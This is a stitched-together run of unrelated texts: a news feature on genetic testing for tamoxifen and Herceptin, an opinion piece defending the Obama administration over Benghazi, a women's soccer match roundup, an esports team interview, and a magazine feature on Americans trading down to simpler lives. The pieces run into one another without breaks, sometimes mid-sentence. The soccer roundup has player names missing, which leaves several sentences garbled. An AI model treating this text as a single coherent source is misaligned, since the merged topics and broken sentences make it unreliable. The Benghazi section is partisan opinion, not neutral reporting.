A cautionary case is Herceptin, a Genentech breast cancer drug that is considered the archetype of personalized medicine because it works only for women whose tumors have a particular genetic characteristic. But now, 10 years after Herceptin reached the market, scientists are finding that the various tests — some approved by the F.D.A., some not — can be inaccurate.
Moreover, doctors do not always conduct the tests or follow the results. The big insurer UnitedHealthcare found in 2005 that 8 percent of the women getting the drug had tested negative for the required genetic characteristic. An additional 4 percent had not been tested at all, or their test results could not be found.
Tamoxifen, the drug Ms. Uslan took, illustrates the promise and current limitations of genetic testing. In 2003, more than 25 years after tamoxifen was introduced, researchers led by Dr. David A. Flockhart at Indiana University School of Medicine figured out that the body coverts tamoxifen into another substance called endoxifen. It is endoxifen that actually exerts the cancer-fighting effect. The conversion is done by an enzyme in the body called CYP2D6, or 2D6 for short.
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But variations in people’s 2D6 genes mean the enzymes have different levels of activity. Up to 7 percent of people, depending on their ethnic group, have an inactive enzyme, Dr. Flockhart said, while another 20 to 40 percent have an only modestly active enzyme.
The implications were “scary,” Dr. Flockhart said. Many women were apparently not being protected against cancer’s return because they could not convert tamoxifen to endoxifen.
The economic implications could be just as scary to big pharmaceutical companies.
Tamoxifen, now a generic drug, costs as little as $500 for the typical five-year treatment. But most patients in the United States are currently treated with a newer, much more expensive class of drugs, called aromatase inhibitors, that cost about $18,000 over five years. Those drugs — made by AstraZeneca, Novartis and Pfizer — performed better than tamoxifen in clinical trials before the role of 2D6 was generally understood.
If only women with active 2D6 had been assessed, tamoxifen might have worked as well or better than the newer drugs, according to researchers at the Dana-Farber Cancer Institute in Boston.
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But proving these suppositions and having them incorporated into medical practice have not been easy.
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The F.D.A., in its meeting this month, said clinical trials were the ideal way to validate a test. But many test developers argue that trials would be too costly and time-consuming, so many tests are validated by reanalyzing patient data from old trials.
In the case of tamoxifen, Dr. Matthew P. Goetz of the Mayo Clinic and colleagues went back to an old trial and used stored tumor samples to test the 2D6 genes of each patient. The researchers reported in 2005 that 32 percent of the women with inactive 2D6 enzyme had relapsed or died within two years, in contrast to only 2 percent of the other women.
But while some subsequent studies have backed those conclusions, two had contradictory results. That leaves many experts hesitant to use the test, which costs about $300.
There are other complications. Dozens of variants of the 2D6 gene exist, and laboratories can differ in their interpretation of test results. And it is not always clear how to act upon the information the test provides.
Ms. Uslan, who lives in the Woodland Hills neighborhood of Los Angeles, is in a predicament since she stopped taking tamoxifen. The newer alternative, aromatase inhibitors, work only for postmenopausal women and she has not yet completed menopause. To take an aromatase inhibitor, she must have her ovaries removed or take a drug to induce menopause. Because both options are unattractive, many experts say there is no point testing premenopausal women for 2D6.
Such complexities are not confined to tamoxifen testing. The labels of about 200 drugs now contain some information relating genes to drug response, said Lawrence J. Lesko, the F.D.A.’s head of clinical pharmacology. But in many cases, he said, doctors are not told specifically enough what to do with the test results, such as how much to change the dose.
Despite all the obstacles, personalized medicine is coming. Even the drug companies, which have been worried that testing would reduce their sales, are starting to realize that their medicines might not be approved or paid for without better evidence that they work.
Last year, for instance, European regulators said Amgen ’s colon cancer drug Vectibix did not provide enough benefit to patients to be approved.
So Amgen reanalyzed the data from its clinical trial. After the results showed Vectibix worked better in patients whose tumors did not have a mutation in a gene called KRAS, the drug was approved for those patients only.
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As for tamoxifen, an F.D.A. advisory panel recommended two years ago that the 2D6 test be mentioned in the drug’s label. But the agency itself was not persuaded there was enough evidence until just recently, Dr. Lesko said. “There’s no ‘one size fits all’ for evidence that everybody buys into.”One of the biggest talking points that Republicans have been using against the Obama administration and the State Department under Secretary Hillary Clinton is that they over emphasized the role an anti-Muslim video played in the attack in Benghazi, Libya that killed four Americans including Ambassador Christopher Stevens on September 11, 2012.
So much has been written and distorted about this issue that I would like to re-explore it to get some clarification. Many seem to have forgotten the volatile time we faced as a nation leading up to the strike on the consulate in Libya.
"Innocence of Muslims" was an Internet video crudely made by American Nakoula Basseley Nakoula (with the pseudonym Sam Bacile). A trailer of the film in Arabic was released in early September of 2012 depicting the Prophet Muhammad as a buffoon, womanizer, homosexual, and child molester.
The reaction of the Arab world was predictably harsh. On September 11, demonstrators stormed over the fortified walls of the United States' Embassy in Cairo, Egypt. Later that day is when the attack in Libya occurred and many news sources blamed it on the release of the video.
And even though presidential nominee Mitt Romney accused President Obama of sympathizing with the attackers in Cairo, I believe if not for the quick action of condemning the video by the president and Secretary Clinton many more American lives could have been lost that fateful day.
From the time period of September 11 to September 29 of 2012, the video trailer sparked protests in 33 countries leading to 50 deaths and at least 695 injuries. Needless to say, President Obama and Secretary Clinton were in a "put out the fire" mode and their cool reactions helped defuse a very dangerous situation.
It is not much of a leap to assume this video played a factor in the Benghazi attack. In fact, some Libyans stated that the video pushed the terrorist group to strike. The timing is certainly suspicious. If the attack was pre-planned they may have used the emphasis on the video as a good excuse to take action.
Susan Rice, then Ambassador to the UN, was given the task of facing the media the weekend after the tragedy. I assume she was only reporting what the administration believed at the time which is that the video played a part in motivating the attackers.
As we know from the tapes, President Obama on September 12, 2012 did call the attacks "an act of terror" and one could still argue that it was spurned on by outrage from the release of the "Innocence of Muslims" trailer whether it was planned or spontaneous. The reason for the strike does not take away the fact that it was a terrorist act.
One could argue that there should have been more security on the anniversary of 9/11 and it has been said that Ambassador Stevens was warned to leave and he did not.
But I do not understand this continual misleading battle about the video playing a factor. I believe the administration was presenting their speculations about what happened and they, through Susan Rice as their spokesperson, gave their best estimate of why it occurred. I think for the GOP to keep making this a political issue with endless costly investigations is a sham and misuse of taxpayer dollars.
I remember an event in 1983 called the Beirut Barracks Bombing in Lebanon. 299 American and French servicemen were killed including 220 U.S. Marines by an Islamic Jihadist terrorist group. President Ronald Reagan said he was accountable stating that there were security lapses.
As I recall, both parties jumped to the president's defense calling him a leader for taking responsibility for these actions. What? No endless investigations? No cries of incompetence? No accusations of lies and political motivations? No assertions of sympathizing with the enemy?
Those were different times when Americans from both sides of the aisle came together in times of crises. I can't believe all of the lies that have been told about President Obama and his administration concerning this attack. They have said he and Secretary Clinton watched it happen in real time and did nothing. They have said Secretary Clinton told Defense Secretary Panetta to stand down. They insinuate there was a plot involving sending arms to Turkey. All falsehoods.
The president and former secretary of state have said that they are responsible and security steps have been taken to insure that this will never happen again.
My belief is that they should be praised
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cuts from the U.S. Women's World Cup team, added three more goals to give her 12 in 14 games as her first-half hat trick -- the first hat trick in Washington history -- led the Spirit to a 3-1 win over the Houston Dash.In the 28th minute, Dunn scored after dribbling through two Dash defenders and beating goalkeeperwho was injured on the play and had to be subbed. Seven minutes later, Dunn scored with the outside of her foot on a pass from Canadian, and in first-half stoppage time the former North Carolina star completed her hat trick when she scored on a header off a corner fromThe lone goal for the Dash came fromas's string of seven games with at least one goal -- four in the Women's World Cup and three in the NWSL -- ended.andare Dunn's competition for NWSL MVP and the league's top scorer.Press scored twice -- off passes from fellow U.S. World Cup teammate-- to give her eight goals in six NWSL goals and at least one goal in all three games since returning from the Women's World Cup, but for the second game in a row, the Chicago Red Stars saw a win slip away and had to settle for a 2-2 tie with FC Kansas City on Saturday night.Yanez scored to move into second place behind Dunn in the NWSL scoring race with nine goals and midfielderadded a second goal as Seattle Reign FC extended its league winning streak to three games with a 2-1 victory over the Boston Breakers. The Reign opened up a three-point lead over the Red Stars, who have a game in hand.
TRIVIA. Dunn is four goals away from tying the single-season scoring record held by Scottish international Kim Little, who scored 16 goals for Seattle in 2014.Immortals, a North American LCS team backed by a large investors group who acquired Team 8's LCS spot, entered the scene with a lot of buzz but have been relatively quiet while they gathered the pieces of their roster.
Immortals' CEO and co-owner, Noah Whinston, sat down with theScore eSports to discuss their roster, the support staff, and how he sees it all fit together.
Immortals have just announced their roster. Would you mind going over your team's signings?
We've signed Huni, Reignover, Pobelter, WildTurtle, and Adrian. Contrary to a lot of rumors, Huni will be playing top lane. He did mention that he was sure he would crush Forg1ven in lane if he ever played ADC. I'm sure if you're a fan of Forg1ven, you'll take issues with that.
I think that these players represent the overall philosophy behind the team. They're all really young guys despite the fact that they've been around the scene for a while. Pobelter has been with a lot of different teams, and he has not really found a permanent home yet. Adrian was around at the top levels of Challenger for a very long time when he was still too young to play, and only recently was able to make his LCS debut, and when he did, he was one of the best vision control supports in North America. WildTurtle is one of the most competitively accomplished players in the LCS and has years of experience playing at the highest domestic and international levels, but still has a lot of room to get back into a carry role.
Huni and Reignover played their first year professionally in the west on a public stage with Fnatic. What impressed me most wasn't just how they played, but how they played together and how they synergized with each other in terms of personality as well. Huni's very over-the-top and outgoing. Reignover is very much more reserved and helps bring Huni down to earth when he gets a little too emotional.
I think that the reason these guys are going to play well together isn't because they're the most individually skilled, it's because 100% of this team speaks English, 60% of this team also speaks Korean. We're living in an area where there's lots of Korean food and Korean markets so that Huni and Reignover feel comfortable. Our team manager Dodo moved here from Korea when he was 10 years old and still speaks fluent Korean and cooks Korean food for us all the time. So I think that, when we thought about the roster we wanted to bring over, we really understood that it's not just about who has the best talent, but who is going to be able to display the best talent on stage given the living conditions of the house and the country in which they are living.
It's easy to say Faker is the best player in the world, but I think if you cut Faker out of SKT and put him on a North American team, he wouldn't look like the best player in the world if he's out of his element. Our goal was to find players who are flexible, who are adaptable, and who are able to be in their element wherever they are.
What was it about Huni and Reignover as a unit that made you decide to sign both of them? Did you think about getting only one of them at some point, or did you always see them as a package deal?
To be honest, we thought about it, but Huni and Reignover wanted to stay together, and together they're more than the sum of their parts. I think Huni is a great player, I think Reignover is a great player. Together, they're a lot more than great. I think they're world class when they're together. I think the reason that is is because of the way their personalities play off of each other and the way they grew up together in the scene. I think that's an experience you can't replace. Both Huni and Reignover hadn't had very successful careers until they joined Fnatic, so when they were successful, they were successful together. I think that breeds a camaraderie you can't find anywhere else.
You mentioned briefly that Huni will be playing top, but you also said he mentioned he thought he could beat Forg1ven. Did he ever seriously talk about moving to AD carry?
That was a thought that went through his mind. Huni's idea of moving to AD is a perfect example of the way Huni and Reignover work together. Huni saw that the patch was going to be AD-centric. He knew the next meta was going to be one in which the AD carry had more carry power than the top laner. Being the carry style player that he is, Huni said "I want to play ADC." Reignover said, "Huni, you play too aggressively, your playstyle is exactly the wrong type for ADC. You're going to stay top lane." And Huni said, "Okay, I'm going to stay top lane."
Pobelter has been in the scene, as you said, for a really long time considering how young he is. He's changed positions, he's had to fill different roles on a team. Are there any unique challenges that Pobelter brings?
Pobelter is an interesting guy. The way that he plays is very unselfish. I think the reason we prioritized him wasn't just because he speaks Korean. It wasn't just because he's a good player. We prioritized him because we feel he's a very similar player to Reignover. They both fill the role that the team needs.
As we've seen Pobelter evolve over the years, on Winterfox he played more of a high econ carry style role. When he moved to CLG, he reduced his gold intake. For us, and my philosophy on team construction, I prioritize players who are going to be able to adapt to new metas and patches. Otherwise, you run into problems like GE/KOO Tigers when the jungle meta shifted. The reason we prioritize flexible players is because we know Riot is going to change patches. We want to be great across every possible meta.
You mentioned two things so far: one is that Huni wants to be the carry-style player and also that you prioritize flexible players. Do you feel like Huni can be that adaptable player or is Immortals going to build around him as a carry?
Huni is still a really young player. When people talk about Huni, they talk about him like he's already a veteran and his playstyle can't evolve. I don't think this is his peak. I think he has a lot of room to grow, not only in his mechanical play, which is already Worlds caliber, but also in his champion pool and playstyle. Huni is an aggressive outgoing personality. I think that's why he plays the way he plays. I don't think that means he can't adapt his play or change to suit the meta.
Regarding Adrian, there was some controversy when he left TiP where some were speculating he wasn't completely valued. I'm not sure what exactly happened in that situation, but what do you think Adrian can bring to your roster?
Anyone who thinks Adrian is below Top 2 as a support in North America is fooling themselves. I think social media will prioritize the players who make flashy mechanical plays. Madlife was a legend even as his play started to decline overall because he could always make those Flash hooks. I think the same reasons that Madlife is overvalued are the same reasons Adrian has been undervalued.
Adrian is good in lane, and he's good mechanically, but what wins him games is his understanding of map level play. Adrian's vision control is immaculate. He was warding more than any other support, he was making up for all the wards that XiaoWeiXiao wasn't placing.
People talk about Team Impulse like Rush and XiaoWeiXiao were the main carries. I think Adrian was the main carry of Team Impulse. Without his vision control, Rush's risky plays and XiaoWeiXiao's risky plays would never have paid off. They would have made those plays without vision and gotten punished for them. When we were looking for a support, we looked for someone who is adaptable, who is smart about the way the game is being played, and who has a level of game understanding that I think rivals a lot of western scene legends like Yellowstar.
Turtle had a challenging 2015 where he faced a lot of criticisms, how do you expect him to adapt this year when ADC is so important?
I think Turtle had a bit of an identity crisis on TSM last year. Historically he had always played a more aggressive carry-style ADC, and that style was disrupted due to the team’s dynamic and the way patches affected the ADC role. I think with Immortals, Turtle has a better environment to find success in and an opportunity to step up and take a leadership role.
We talked a lot about the roster we're going to see in game, but a lot of teams have started to beef up their support staffs in North America. You mentioned Dodo, but could you talk more about the guys who will be off camera most the time?
While I'm really happy with our roster, the support staff is what I'm most proud of. Dodo was the support for Team 8. After talking with him, I realized he was already functioning as a manager. He's older than the players, he graduated from college. He got his degree in teaching because he wanted to go teach English in Korea, but then he ended up playing League of Legends. He's a fluent Korean speaker. He's a much better cook than I expected. His food is incredible.
Dodo also really understands the importance of helping people assimilate to the culture of the United States, since he had to do that when he was younger too. So he can bring a sympathy for the Korean players leaving their culture that they know that I don't know if anyone else would be able to bring. He's going to make that transition easier.
Our head coach, Dylan Falco, is a former analyst for TSM. Two things tipped me off to "This guy is really smart, and I need him on my team." The first was that he really prioritizes the important elements of analysis and game knowledge. That's not "let's collect a bunch of numbers that don't mean anything," it's "what wins games?" He finds out what that is and pays attention to it. If he doesn't think a certain number wins games, he won't pay as much attention to it. I think that's a really unique quality because it helps him filter out all of the chaff.
Additionally, his Summoning Insight appearance was incredibly impressive. If you haven't seen it, I encourage you to go watch it. Monte and Thorin, who I love as content creators, have very dominant personalities on Summoning Insight, and often it's hard for people to stand their ground against them when they unite in disagreeing with the guest on the show. Dylan not only stood his ground, but convinced them both that he was right. He didn't do it in an over-the-top aggressive way. He just said his argument, heard their argument, and reiterated his own. That's really hard to find. A lot of people will resort to yelling or resort to over-the-top rhetoric. Dylan doesn't need to do that. I can't think of anyone I'd rather have leading our coaching staff.
I also think it's a little unique that Dylan occupies the roles of a strategic coach. Some people might think "Why are you making your strategic coach your head coach? That's different from what CLG and TSM have just done." I think Dylan brings experience in coaching that a lot of other strategic coaches don't have. He was a poker coach for a long time like Deilor, and he has this inherent understanding of how personalities interact and what type of structure is necessary.
Our other coach, who we refer to as our performance coach, is Robert Yip. He has worked in traditional sports for a long time in Rugby, Swimming, and Tennis. He also worked as a sports psychologist for Origen during the last part of the season. He has a degree in sports psychology and has worked really closely with Weldon Green, the sports psychologist for CLG. He's a physical trainer. He's paying attention to make sure what we're eating is keeping the players healthy.
I think Robert and Dylan make a formidable team. Together, they understand the best ways to regulate player behavior. The way you do that is not "you aren't allowed to drink soda," you say, "If you want a snack, there's a bowl of grapes here." You incentivize healthy behavior, you don't mandate it. He carries that across everything in a way that is so comprehensive that I never ever feel the need to step in.
Regarding Dylan, you spoke about that Summoning Insight appearance a lot. How much did it influence your decision to hire him?
I had already been talking to Dylan before his SI appearance, and I already had a really high opinion of him. That appearance just confirmed I was right in my initial decision.
You mentioned the roles of both Dodo and Robert Yip in ways that, to me, sounded somewhat similar. Could you differentiate them for me outside their respective training and qualifications?
Dodo is more of a direct support system. I view Dodo as more of the peer of the players. What Robert says goes as an authority figure—and the same is true for Dodo. If he tells them to do something, the players need to do it.
The difference is that I envision this being a situation where the players can vent to Dodo. They can emotionally depend on Dodo because he's been where they were just a year ago. He had the experience of being a professional player, and he'll be with them most of the time. The coaches will go off on their own to have meetings and deal with coach things, but players need to get driven to go shopping, or if they are having a tough day of scrims and need a shoulder to lean on, Dodo is there. Dodo is just a really easy guy to be friends with.
There's been a lot of debate about how coaching and staff hierarchy should work. Are you afraid of a situation where the manager becomes too much of a friend to the players that he loses some authority?
I think having someone on staff as a friend to the player is important. Sometimes people put too much importance on everyone being an authority figure. In Reignover's interview with theScore, he mentioned he felt unhappy because he lacked a support system in that he lacked non-teammates he could consider friends. I think having someone who is not playing on the team, but is still there to be a friend, is important.
As far as command chain goes, Dylan is the head coach. He makes the final decision on everything. The reason I trust him to do that is because I've seen him take other peoples' input and allow it to change his opinion. He is not a tyrant. He is always willing to listen. Robert has had many conversations with him where he has changed Dylan's mind about a few things, and finding that ability to both have authority allowing your opinion to be influenced is an important duality.
It's difficult because you don't completely know the rosters of teams you will compete against, but how confident are you that this team can make it to the top of the NA LCS?
I'm not going to pretend it's going to be easy, I'm not going to come in here and say "Our goal is to win Worlds." We need to be realistic about our goals. Our goals are to be top two in North America. Our goal is to make it to both MSI and Worlds. That would mean both placing first in Spring and being top four or so in Summer. I think when you factor in our coaching and support staff with the raw skill of our players and our team environment, I think we're pretty good money to do that.
This interview has been edited and condensed for clarity.
Kelsey Moser is a staff writer for theScore eSports, covering primarily the European LCS and the Chinese LPL. You can follow her on Twitter for gifs and Sivir rants.These are the humble makings of a revolution in progress: Macaroni and cheese. Timex watches. Volunteer work. Insulated underwear. Savings accounts. Roseanne. Domestic beer. Local activism. Sleds. Pajamas. Sentimental movies. Primary colors. Mixed-breed dogs. Bicycles. Cloth diapers. Shopping at Wal- Mart. Small-town ways. Iceberg lettuce. Family reunions. Board games. Hang- it-yourself wallpaper. Push-it-yourself lawn mowers. Silly Putty.
See the pattern? It's as genuine as Grandma's quilt. After a 10-year bender of gaudy dreams and godless consumerism, Americans are starting to trade down. They want to reduce their attachments to status symbols, fast-track careers and great expectations of Having It All. Upscale is out; downscale is in. Yuppies are an ancient civilization. Flaunting money is considered gauche: if you've got it, please keep it to yourself -- or give some away!
In place of materialism, many Americans are embracing simpler pleasures and homier values. They've been thinking hard about what really matters in their lives, and they've decided to make some changes. What matters is having time for family and friends, rest and recreation, good deeds and spirituality. For some people that means a radical step: changing one's career, living on less, or packing up and moving to a quieter place. For others it can mean something as subtle as choosing a cheaper brand of running shoes or leaving work a little earlier to watch the kids in a soccer game.
The pursuit of a simpler life with deeper meaning is a major shift in America's private agenda. "This is a rapid and extremely powerful movement," says Ross Goldstein, a San Francisco psychologist and market researcher. "I'm impressed by how deep it goes into the fabric of this country." Says noted theologian Martin Marty of the University of Chicago: "We are all warned against thinking in terms of trends that correspond with decades, but this one is a cinch. I think that people are going to look back at today as a hinge period in the country's history." Some social observers have already dubbed the 1990s the "We decade."
The mood is palpable. In a TIME/CNN poll of 500 adults, 69% of the people surveyed said they would like to "slow down and live a more relaxed life," in contrast to only 19% who said they would like to "live a more exciting, faster-paced life." A majority of those polled, 61%, agreed that "earning a living today requires so much effort that it's difficult to find time to enjoy life." When asked about their priorities, 89% said it was more important these days to spend time with their families, and 56% felt strongly about finding time for personal interests and hobbies. But only 13% saw importance in keeping up with fashions and trends, and just 7% thought it was worth bothering to shop for status-symbol products.
Marsha Bristow Bostick of Columbus remembers noticing with alarm last summer that her three-year-old daughter Betsy had memorized an awful lot of TV commercials. The toddler announced that she planned to take ballet lessons, followed by bride lessons. That helped inspire her mother, then 37, to quit her $150,000-a-year job as a marketing executive. She and her husband, Brent, a bank officer, decided that Betsy and their infant son Andrew needed more parental attention if they were going to develop the right sort of values. Marsha explained, "I found myself wondering, How wealthy do we need to be? I don't care if I have a great car, or if people are impressed with what I'm doing for a living. We have everything we need."
The movement is pervasive. "This is not something simply happening to the burnouts from Wall Street," says sociologist Stephen Warner of the University of Illinois at Chicago. "There is an American phenomenon going on that crosses all social lines. It's true of immigrant groups too, as well as the underprivileged."
Yet the shift in priorities has a surface gloss of stylishness also. Call it thrifty chic. Penny pinching is back in vogue, even among the rich. Jackie O. shops at the Gap. Christie Brinkley wears plain white men's T shirts. Outside B.J.'s Wholesale Club in Medford, Mass., a white stretch limo waits at the curb while its passengers roam the cavernous discount warehouse. At Tom's Barber Shop in Jacksonville, lawyers and executives sit down next to truckers and shipyard workers for a $6 trim. At Deja Vu, a Palm Beach boutique that sells used designer clothes, women who once sent their maids and drivers to the back door with bundles of high-fashion castoffs to sell now bring them by in person and stick around to shop.
The beginnings of the new mind-set probably go back as far as the stock- market crash of 1987, which had little immediate effect on the overall economy but gave many people an uneasy feeling about the Roaring Eighties. The spectacular failures of such '80s heroes as Michael Milken and Donald Trump have discredited the era's role models as well. "The 1980s showed how ugly this country could be, like racism did," says April Gilbert, a Stanford M.B.A. and shipping executive who hopes to join a nonprofit company soon. "In the 1980s I was fed up and almost angry with the behavior of people in this country," says Stuart Winby, manager of Hewlett-Packard's Factory-of-the- Future program. "Those kinds of values are just empty. I'm really sated with gadgets, things, adornments and all that stuff." Many people were awakened by individual experience: the plight of a homeless neighbor, the collapse of a bank, a friend's job loss.
The recession and gulf war have cemented the trend. First, the economic downturn struck some people as a just punishment for a dizzy era of excessive borrowing and spending. Many consumers saw the recession as a warning that their behavior had to change. Cutting back and putting away the plastic seem only prudent. Unemployment, currently at 6.5%, has risen steadily for eight months. Some people who used to ride in limousines are now driving them for a living. Then the life-and-death reality of the war came along and made the pursuit of glitz and status seem even more trivial. Americans saw their country pulling together with a higher purpose and a can-do spirit, and many of them liked the feeling.
In scaling down their tastes, most Americans are making a virtue out of necessity. Contrary to perceptions, the past decade was an era of downward mobility for the majority of U.S. families, who kept up their spending by borrowing and relying on two incomes. Only the wealthiest 20% of Americans significantly increased their real income during the Reagan era, and the poor slipped further behind. After adjustment for inflation, the national standard of living has actually fallen since 1973; the real average hourly pay for U.S. workers has gone from $8.55 then to $7.54 today. Says Barry Bosworth, an economist at the Brookings Institution: "Americans are not becoming pessimistic. They are becoming realistic. It is right to think of cutting back."
At the same time, the baby-boom generation, which accounted for much of the spending binge of the '80s, is reaching middle age. Here come 75 million aching backs. A generation of reluctant grown-ups is raising children, caring for aging parents and beginning to think about retirement. Instead of pumping iron, preening and networking, they are worrying about orthodontists, skateboards and college tuitions. The backyard now has more appeal than the boardroom.
So forget those champagne wishes and caviar dreams, the right car, vodka, watch, cuisine and music system. Consumers no longer feel they absolutely must have the latest luxury product. Who would be impressed, anyway? "People don't think being square is synonymous with being a sucker anymore," says Dan Fox, marketing planning director of the Foote, Cone & Belding ad agency. Besides, they no longer seem to get a kick from spending borrowed money. Consumer installment credit dropped $342 million in December, or 0.6%, in what would ordinarily have been a busy shopping season, and a huge $2.4 billion in January.
Not everyone believes America has changed its stripes, however. "If the present generation has learned anything, it is that talk is cheap. But are they really doing anything different?" asks Stanford economist Victor Fuchs. "The baby boomers are just growing up and playing out a predictable life- cycle change." Elmer Johnson, a Chicago lawyer and former executive vice president of General Motors, sees "a hardness of heart that has not yet begun to be broken." John Kenneth Galbraith, the eminent liberal economist, dismisses the trend as a bicoastal fad among fast-trackers. Says he, with amused cynicism: "I just think it's pure horse."
Yet a lot of business people who stake their livelihood on shifts in consumer behavior see thousands of small changes that they believe are adding up to something. At a Brookstone store in Boston, a man exchanges a gift, trading in a $99 executive fountain pen ("I'll never use it") for a car-care kit. Suddenly people want to buy toys that don't take batteries. Sales of dolls are up. Power dressing is out. One sign: shoulder pads, standard issue for the female corporate warrior, are finally disappearing from women's clothing. Even designers are getting into the act: Donna Karan and Bill Blass offer more congenially priced ready-to-wear fashion lines. Revlon's Charles of the Ritz has sprouted the cheaper Ritz Express skin-care line (1 oz. of Perfect Finish makeup: $10, vs. $25 for an ounce of Revenescence liquid foundation).
The change in consumer psychology is shaking many merchants to their roots. Traditional department stores ranging from Saks Fifth Avenue to Neiman Marcus have suffered from poor business as customers flock to discounters and back- to-basics stores, notably the Limited, the Gap, Wal-Mart and K Mart. The 75-store Sharper Image chain, which made its reputation in the '80s with high- tech gadgets, has been blurring its image to include more low-cost, practical goods. Example: a $19.95 aluminum-can crusher for recyclers.
In fact, that's another reason for rejecting rampant materialism: its impact on the environment. "Whenever I use something or buy something now, I'm thinking, Where is this going to end up?" says Debbie Worthley, 46, a student adviser at the University of Vermont. "I'm not as interested in buying gadgets as I was a few years ago." Seventh Generation, a two-year-old Colchester, Vt., mail-order firm that specializes in goods for the environmentally conscious, has an essay in its catalog titled "Why You Should Buy Less Stuff." Recycling has taken hold as a voguish and satisfying pursuit. People who used to meet at trendy bars now trade bons mots while sorting their garbage into the appropriate bins at the public dump. Even the smaller luxuries are giving way to environmental vigilance. If last year's popular orange juice was a quart of premium with extra pulp, this year's is canned concentrate, which requires less packaging.
The buzz word among marketers is "value" products, meaning quality at a low price. The Campbell Soup Co. has introduced discount frozen foods, including Swanson budget dinners (average cost: $1.39). In the hope of stemming a decline in business that typically reached 20% in the past year, restaurants are adding such moderately priced classics as fried chicken, meat loaf and bread pudding. Restaurateurs have coined a phrase for it: "casualization." In fast food, price is the object. After Taco Bell won new fans by pricing about half its items at 99 cents or less, Burger King began offering Burger Buddies cheeseburgers at 29 cents for customers who buy fries and a drink.
Sales of the ultimate yuppie symbol, the BMW, fell to 63,600 in the U.S. last year, a drop of 28% from 1985 levels. Meanwhile, Honda sales increased 29.7%, to 716,500. The sales pitch for autos today would have bored the driving gloves off an '80s car buff: safety features (antilock brakes, air bags), versatility (four doors, built-in child seats) and value. A 1991 Pontiac Grand Prix model sells for under $20,000 but looks (on the outside, anyway) like last year's sporty $26,000 Turbo model.
Even trendiness itself, or at least the slavish chronicling of consumer ephemera, has the taint of the passe. Many magazines that served as arbiters of hipness have gone out of business, including Egg, 7 Days, Smart and Fame. In the meantime, Vanity Fair thrives by sticking to cover subjects that have the rosy glow of maturity: Farrah and Ryan, Sly Stallone, Madonna. At the same time, such magazines as Workbench, Homeowner and 1001 Home Ideas are briskly building up their circulation. One of the hottest newcomers is Countryside, a Hearst glossy about the virtues of conservation, rural landscapes and life in the exurbs.
The pop-culture machine is rushing to catch up with the times. Gilded '80s shows such as Dynasty and Falcon Crest are gone, swept away by a wave of proudly downscale fare, including Roseanne, The Simpsons and Married... with Children. Campy hobnobber Robin Leach of Lifestyles of the Rich and Famous has been replaced in the hearts of viewers by chatty Jeff Smith of The Frugal Gourmet and nonaerobic carpenter Norm Abram of The New Yankee Workshop. Love stories, melodramas and family films have taken over Hollywood. Home Alone, Ghost and Pretty Woman, for example, collectively reaped more than $500 million in total revenues last year. Get set for an onslaught of films about people waking up and smelling the coffee.
For many Americans the most startling realization is how much they have given up for their careers. In her new book Down-Shifting, author Amy Saltzman maintains that baby boomers have grown increasingly skeptical about the payoff for devoting so much time to the fast track. As their huge generation crowds toward the top of the corporate pyramid, many are getting stalled. At the same time, companies have been slashing the ranks of middle managers.
For Karen Glance, 36, it came down to all those little packets of shampoo. She remembers the morning she opened her bathroom cabinet in St. Paul and counted 150 that had followed her home from hotels in dozens of cities. Says the former apparel executive: "I was a workaholic, a crazy, crazy woman. I was on a plane four times a week. I just wanted to get to the top. All of a sudden, I realized that I was reaching that goal but I wasn't happy. A year would go by and I wouldn't know what had happened."
A few months ago, Glance was shopping in a neighborhood grocery store when she learned that its owner was about to retire. Something fell into place. She looked around the old-fashioned shop, where clerks still climb ladders to retrieve goods from the upper shelves, and she decided on the spot to buy the place. The new proprietor of the Crocus Hill market may never come anywhere near to matching her old $100,000-plus yearly income, but she couldn't care less. Says Glance: "It really comes down to saying, 'Slow down. The value of life might not be in making money.' "
Mostly, though, what people want now is more time around home and hearth. Most parents of small children work outside the home. More than 7 million Americans hold down two or even three jobs to make ends meet. "Nobody seems to have any damn time anymore," says Winby, the Hewlett-Packard executive. "People can't manage their home, work and personal life." As a result, many working mothers (and some fathers) are giving up full-time careers to devote more time to homelife. "There is a sense of an enormous trade-off between a fast-track career and family well-being," says economist Sylvia Ann Hewlett, author of the forthcoming When the Bough Breaks: The Cost of Neglecting Our Children. "Women can see the damage all around them and are making different choices than they did a few years ago."
Some couples are even thinking twice about divorce in light of the problems it can pose for children, the financial damage it does to families and other consequences. The U.S. divorce rate, which reached a high of 5.3 per 1,000 people in 1979, is now 4.7 and may still be falling.
Of all those rejecting the rat race to spend more time with their families, perhaps the most famous is Peter Lynch. While the 47-year-old investment superstar was busy building the Fidelity Magellan mutual fund into a $13 billion behemoth, his youngest daughter got to be seven years old, and he felt he hardly knew her. Last spring he stunned Wall Street when he decided to give up his 14-hour workdays. With a nest egg estimated at $50 million, Lynch could well afford to quit. But many ordinary people evidently felt a connection with what he did, for he received more than 1,000 letters of support for his move. These days, while other investment managers are scanning their market data at dawn, Lynch is making school lunches. Says he: "I loved what I was doing, but I came to a conclusion, and so did some others: What in the hell are we doing this for? I don't know anyone who wished on his deathbed that he had spent more time at the office."
The stay-at-home urge, also known as "cocooning," has produced a boom of its own. Consumers spent more than $9 billion renting videotapes in 1990, up 13% from the previous year and nearly twice the $5 billion they paid to see new releases at theaters. Home entertaining is decidedly back to basics. Remember onion dip? The Mom Rule has re-emerged as America's primary meal- planning guide: if she never heard of it, don't serve it. With a couple of children in tow, mothers and fathers simply don't have time to hunt for goat cheese and sun-dried tomatoes in the supermarket. Marsha Bristow Bostick fondly recalls the leisurely evenings she spent at home before her children were born, "cooking wonderful things with my husband while we sipped white wine." Now? "We're eating SpaghettiO's, fried chicken, lots of terrible-for- you casseroles covered in cheese."
Far from becoming hermits, many Americans are reaching out to strengthen their ties beyond the home. Instead of defining themselves mostly by their possessions and work, more Americans in big cities as well as small towns are getting involved with their communities. "I don't think God puts you on this earth just to make millions of dollars and ignore everyone else," says Chris Amundsen of Minneapolis, a commercial real estate expert who took a 34% pay cut when he became the chief financial officer of a nonprofit housing agency.
Lately, charitable agencies and community groups have seen an upsurge in the willingness of Americans to help the less fortunate. In 1989 citizens gave a record $114.7 billion to charitable causes across the U.S., a 10% increase from the previous year, despite the stagnating economy. Instead of exchanging Christmas presents, many have started making contributions in the names of their friends. Even more impressive, more than 98 million Americans -- about half of all adults -- volunteered their time to charitable organizations in 1989, a 23% increase from two years earlier. Voluntary efforts range from the spectacular to the simply heartwarming. In Los Angeles real estate broker Eric Broida regularly volunteers at the Union Rescue Mission, where he serves meals to the homeless. "A couple of years ago, I went down one night to help out, and it just felt right," he says. "I felt good. I've been going back ever since."
